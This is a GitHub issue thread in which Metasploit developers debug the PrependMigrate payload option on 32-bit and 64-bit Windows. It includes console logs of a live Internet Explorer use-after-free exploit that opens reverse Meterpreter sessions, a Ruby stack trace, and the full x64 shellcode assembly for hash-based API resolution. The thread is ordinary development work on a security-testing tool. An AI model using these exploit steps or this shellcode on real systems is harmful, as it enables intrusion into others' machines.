Closed hdm closed 9 years ago
32-bit might not be affected. This exploit uses PrependMigrate and works fine:
msf > use exploit/windows/browser/ie_setmousecapture_uaf
msf exploit(ie_setmousecapture_uaf) > run
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.64:4444
msf exploit(ie_setmousecapture_uaf) > [*] Using URL: http://0.0.0.0:8080/0Ro0i1RBZB
[*] Local IP: http://192.168.1.64:8080/0Ro0i1RBZB
[*] Server started.
[*] 192.168.1.80 ie_setmousecapture_uaf - Gathering target information.
[*] 192.168.1.80 ie_setmousecapture_uaf - Sending response HTML.
[*] Sending stage (770048 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.80:2340) at 2014-12-16 10:58:32 -0600
[*] Session ID 1 (192.168.1.64:4444 -> 192.168.1.80:2340) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: rundll32.exe (616)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3348
[+] Successfully migrated to process
msf exploit(ie_setmousecapture_uaf) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
Odd. That module has both PrependMigrate and InitialAutoRunScript set to "migrate -f". It should be migrating twice in the example above (first to rundll32 then to the default of migrate -f). EDIT: Yes, its definitely migrating into rundll32 then, sounds like a WOW64 bug then.
On x64 (windows/x64/meterpreter/reverse_tcp), I can't really get the listener going when PrependMigrate is set to true:
msf exploit(handler) > run
[-] Exploit failed: invalid opcode near "jecxz" at "\"<unk>\"" line 42
msf exploit(handler) >
Backtrace:
[12/16/2014 11:07:47] [e(0)] core: Exploit failed (multi/handler): invalid opcode near "jecxz" at "\"<unk>\"" line 42
[12/16/2014 11:07:47] [d(3)] core: Call stack:
/Users/wchen/rapid7/msf/lib/metasm/metasm/parse.rb:40:in `parse_instruction'
/Users/wchen/rapid7/msf/lib/metasm/metasm/parse.rb:330:in `parse'
/Users/wchen/rapid7/msf/lib/metasm/metasm/exe_format/shellcode.rb:69:in `assemble'
/Users/wchen/rapid7/msf/lib/metasm/metasm/exe_format/main.rb:94:in `assemble'
/Users/wchen/rapid7/msf/lib/msf/core/payload/windows/prepend_migrate.rb:413:in `prepend_migrate_64'
/Users/wchen/rapid7/msf/lib/msf/core/payload/windows/prepend_migrate.rb:49:in `prepends'
/Users/wchen/rapid7/msf/lib/msf/core/payload/windows.rb:43:in `generate'
/Users/wchen/rapid7/msf/lib/msf/core/encoded_payload.rb:93:in `generate_raw'
/Users/wchen/rapid7/msf/lib/msf/core/encoded_payload.rb:68:in `generate'
/Users/wchen/rapid7/msf/lib/msf/core/encoded_payload.rb:25:in `create'
/Users/wchen/rapid7/msf/lib/msf/core/exploit.rb:547:in `generate_single_payload'
/Users/wchen/rapid7/msf/lib/msf/core/exploit.rb:438:in `generate_payload'
/Users/wchen/rapid7/msf/lib/msf/core/exploit_driver.rb:159:in `run'
/Users/wchen/rapid7/msf/lib/msf/base/simple/exploit.rb:136:in `exploit_simple'
/Users/wchen/rapid7/msf/lib/msf/base/simple/exploit.rb:161:in `exploit_simple'
/Users/wchen/rapid7/msf/lib/msf/ui/console/command_dispatcher/exploit.rb:111:in `cmd_exploit'
/Users/wchen/rapid7/msf/lib/msf/ui/console/command_dispatcher/exploit.rb:193:in `cmd_rexploit'
/Users/wchen/rapid7/msf/lib/rex/ui/text/dispatcher_shell.rb:427:in `run_command'
/Users/wchen/rapid7/msf/lib/rex/ui/text/dispatcher_shell.rb:389:in `block in run_single'
/Users/wchen/rapid7/msf/lib/rex/ui/text/dispatcher_shell.rb:383:in `each'
/Users/wchen/rapid7/msf/lib/rex/ui/text/dispatcher_shell.rb:383:in `run_single'
/Users/wchen/rapid7/msf/lib/rex/ui/text/shell.rb:200:in `run'
/Users/wchen/rapid7/msf/lib/metasploit/framework/command/console.rb:30:in `start'
/Users/wchen/rapid7/msf/lib/metasploit/framework/command/base.rb:82:in `start'
./msfconsole:48:in `<main>'
Here's the actual asm being passsed to the assemble method:
api_call:
push r9 ; Save the 4th parameter
push r8 ; Save the 3rd parameter
push rdx ; Save the 2nd parameter
push rcx ; Save the 1st parameter
push rsi ; Save RSI
xor rdx, rdx ; Zero rdx
mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
mov rdx, [rdx+24] ; Get PEB->Ldr
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
xor r9, r9 ; Clear r9 which will store the hash of the module name
loop_modname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name
loop loop_modname ; Loop untill we have read enough
; We now have the module hash computed
push rdx ; Save the current position in the module list for later
push r9 ; Save the current module hash for later
; Proceed to itterate the export address table
mov rdx, [rdx+32] ; Get this modules base address
mov eax, dword [rdx+60] ; Get PE header
add rax, rdx ; Add the modules base address
mov eax, dword [rax+136] ; Get export tables RVA
test rax, rax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add rax, rdx ; Add the modules base address
push rax ; Save the current modules EAT
mov ecx, dword [rax+24] ; Get the number of function names
mov r8d, dword [rax+32] ; Get the rva of the function names
add r8, rdx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec rcx ; Decrement the function name counter
mov esi, dword [r8+rcx*4]; Get rva of next module name
add rsi, rdx ; Add the modules base address
xor r9, r9 ; Clear r9 which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the ASCII function name
ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add r9, [rsp+8] ; Add the current module hash to the function hash
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop rax ; Restore the current modules EAT
mov r8d, dword [rax+36] ; Get the ordinal table rva
add r8, rdx ; Add the modules base address
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
mov r8d, dword [rax+28] ; Get the function addresses table rva
add r8, rdx ; Add the modules base address
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
add rax, rdx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the drsired function...
finish:
pop r8 ; Clear off the current modules hash
pop r8 ; Clear off the current position in the module list
pop rsi ; Restore RSI
pop rcx ; Restore the 1st parameter
pop rdx ; Restore the 2nd parameter
pop r8 ; Restore the 3rd parameter
pop r9 ; Restore the 4th parameter
pop r10 ; pop off the return address
sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
push r10 ; push back the return address
jmp rax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop rax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop r9 ; Pop off the current (now the previous) modules hash
pop rdx ; Restore our position in the module list
mov rdx, [rdx] ; Get the next module
jmp next_mod ; Process this module
Line 42 is this:
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
^ Looks like @jlee-r7's code ?
I was testing using a msfpayload-generated win32 exe with PrependMigrate set to true and run on a 64-bit system.
It looks like the 64-bit version of the block_api code is buggy (but this ticket was about the 32-bit code running on a 64-bit system).
Oh ok, so I guess I hit a different issue.
I will test the 32-bit code against 64-bit system setup.
oh, good find.
@hmoore-r7 Hmmm I am actually not reproducing the issue you're having:
msf exploit(handler) > set PrependMigrate true
PrependMigrate => true
msf exploit(handler) > run
[*] Started reverse handler on 192.168.1.64:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.1.134
[*] Meterpreter session 2 opened (192.168.1.64:4444 -> 192.168.1.134:50326) at 2014-12-16 13:07:52 -0600
meterpreter > sysinfo
Computer : SINN3R-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter : x86/win32
meterpreter >
Not sure what I missed.
Thanks for looking into it, let me try this again. Could be EMET or something else breaking it here.
Ok, no problem.
I'll file the metasm bug as a separate too before I forget about it.
Edit: The metasm bug is now at https://github.com/rapid7/metasploit-framework/issues/4405
@hmoore-r7 feel free to reopen if you are able to reproduce it!
The
PrependMigrateProc
application eventually fails with: